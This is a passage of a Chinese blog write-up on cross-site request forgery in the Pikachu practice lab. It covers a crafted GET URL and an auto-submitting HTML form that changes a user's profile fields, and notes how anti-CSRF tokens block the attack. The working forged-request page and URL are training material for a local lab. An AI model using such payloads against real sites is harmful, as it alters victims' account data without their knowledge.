CSRE之post

1、get类型

首先,看提示获取账号密码

如图,当修改信息时

出现了一个地址,这就是网址,我们只需把这个发给用户,即可完成localhost /pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=%E7%94%B7&phonenum=1234567&add=jiangxi&email=123%40qq.com&submit=submit 

改为:http://localhost /pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=%E7%94%B7&phonenum=1234567&add=jiangxi&email=123%40qq.com&submit=submit HTTP/1.1

此处修改为了jaingxi

2、post类型

请求的修改在信息当中,不在url,因此不能通过url修改

在这里,则需要在自己的服务器上搭建脚本

<html>
<head>
<script>
window.onload = function() {
  document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://127.0.0.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
    <input id="sex" type="text" name="sex" value="girl" />
    <input id="phonenum" type="text" name="phonenum" value="123456789" />
    <input id="add" type="text" name="add" value="hubei" />
    <input id="email" type="text" name="email" value="lucy@163.com" />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

然后http://127.0.0.1/Pikachu/vul/csrf/csrfpost/post123.html发送,即可修改

3.token类型

具有token,此举安全性提高

然后,可以看看源码

set_token()函数如上图所示,在生成新token之前会先销毁老token,避免token重复使用

  • 9
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值